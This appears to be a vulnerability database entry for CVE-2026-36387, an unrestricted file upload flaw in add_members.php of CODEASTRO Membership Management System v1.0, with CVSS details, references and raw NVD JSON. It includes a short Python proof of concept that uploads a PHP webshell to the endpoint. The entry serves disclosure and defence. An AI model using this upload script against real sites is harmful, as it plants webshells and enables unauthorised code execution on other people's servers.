CVE-2026-36387

Description

A Remote Code Execution vulnerability was found in CODEASTRO Membership Management System v1.0 in /add_members.php. This vulnerability affects the file upload functionality, where improper file sanitization allows attackers to inject malicious files which leads RCE.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CODEASTRO Membership Management System v1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target.com/add_members.php"

# Path to the malicious PHP file (webshell)
file_path = "shell.php"

# Prepare the payload
# The vulnerability allows uploading files without proper sanitization
files = {
    'file': (file_path, open(file_path, 'rb'), 'application/octet-stream')
}

data = {
    'submit': 'Submit'  # Adjust based on actual form parameters
}

try:
    response = requests.post(url, files=files, data=data)
    if response.status_code == 200:
        print("[+] File uploaded successfully.")
        print("[+] Check the upload directory to access the shell.")
    else:
        print("[-] Upload failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36387
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36387
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36387/
[4] VulDB https://vuldb.com/cve/CVE-2026-36387
[5] http://codeastro.com
[6] https://github.com/raneishajustin/CVE/tree/main/CVE-2026-36387
[7] https://github.com/raneishajustin/CVE/tree/main/CVE-2026-36387

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36387", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:19.013", "lastModified": "2026-05-07T18:45:48.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Remote Code Execution vulnerability was found in CODEASTRO Membership Management System v1.0 in /add_members.php. This vulnerability affects the file upload functionality, where improper file sanitization allows attackers to inject malicious files which leads RCE."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "http://codeastro.com", "source": "[email protected]"}, {"url": "https://github.com/raneishajustin/CVE/tree/main/CVE-2026-36387", "source": "[email protected]"}, {"url": "https://github.com/raneishajustin/CVE/tree/main/CVE-2026-36387", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}